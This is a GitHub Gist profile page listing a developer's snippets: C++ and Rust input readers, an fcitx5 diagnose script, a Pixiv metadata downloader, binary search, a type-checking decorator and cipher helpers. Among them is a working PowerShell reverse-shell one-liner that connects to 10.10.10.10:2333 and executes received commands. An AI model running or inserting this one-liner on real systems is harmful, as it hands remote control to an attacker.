Skip to content

Instantly share code, notes, and snippets.

View Aloxaf's full-sized avatar
💻
busy with working

Aloxaf Aloxaf

💻
busy with working
View GitHub Profile
@Aloxaf
Aloxaf / qread.cpp
Created September 29, 2020 09:23
C++ qread
#include <cstdio>
#include <iostream>
#include <string>
#include <tuple>
template <typename... Ts>
std::tuple<Ts...> qread()
{
return std::tuple<Ts...>{ ([]() -> Ts { Ts t; std::cin >> t; return t; })()... };
}
@Aloxaf
Aloxaf / fcitx5-diagnose.sh
Created July 4, 2020 02:20
实验性的 fcitx-diagnose for fcitx5
#!/usr/bin/env bash
shopt -s extglob nullglob globstar
export TEXTDOMAIN=fcitx5
__test_bash_unicode() {
local magic_str='${1}'$'\xe4'$'\xb8'$'\x80'
local magic_replace=${magic_str//\$\{/$'\n'$\{}
! [ "${magic_str}" = "${magic_replace}" ]
}
@Aloxaf
Aloxaf / powershell_reverse_shell.ps1
Last active December 2, 2019 15:35 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",2333);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Aloxaf
Aloxaf / sync_from_pixiv.py
Created November 26, 2019 05:19
从 P 站下载图片元数据
#!/usr/bin/python
from pixivpy3 import *
from pathlib import Path
from typing import *
from concurrent import futures
from os import system
import json
@Aloxaf
Aloxaf / bsearch.py
Created July 2, 2019 12:00
二分查找
def lower_bound(array, first, last, value): # 返回[first, last)内第一个不小于value的值的位置
while first < last: # 搜索区间[first, last)不为空
mid = first + (last - first) // 2 # 防溢出
if array[mid] < value:
first = mid + 1
else:
last = mid
return first # last也行,因为[first, last)为空的时候它们重合
@Aloxaf
Aloxaf / type_check.py
Created January 11, 2019 13:02
借助 Type Hint 进行运行时类型检查的 Python 装饰器
# https://aboutsimon.com/blog/2018/04/04/Python3-Type-Checking-And-Data-Validation-With-Type-Hints.html
from functools import wraps
from inspect import getfullargspec
from typing import get_type_hints
def validate_input(hints, **kwargs):
# iterate all type hints
for attr_name, attr_type in hints.items():
@Aloxaf
Aloxaf / fence.py
Created November 8, 2018 16:03
栅栏密码
def array_split(A, k):
return [A[i:len(A):k] for i in range(k)]
# by std_xris @ telegram
@Aloxaf
Aloxaf / read.rs
Created October 13, 2018 15:50
Rust read function for OJ
use std::fmt::Debug;
use std::io;
use std::io::prelude::*;
use std::str::FromStr;
/// read into a specific type
///
/// # Example:
///
/// ```
@Aloxaf
Aloxaf / __init__.py
Created August 9, 2018 10:05
use hex instead of ascii when display bytes in ipython
'''
to load allhex any where
copy allhex.py and __init__.py to folder "~/.local/lib/python3.7/site-packages/allhex/"
(3.7 is your python version)
'''
from .allhex import *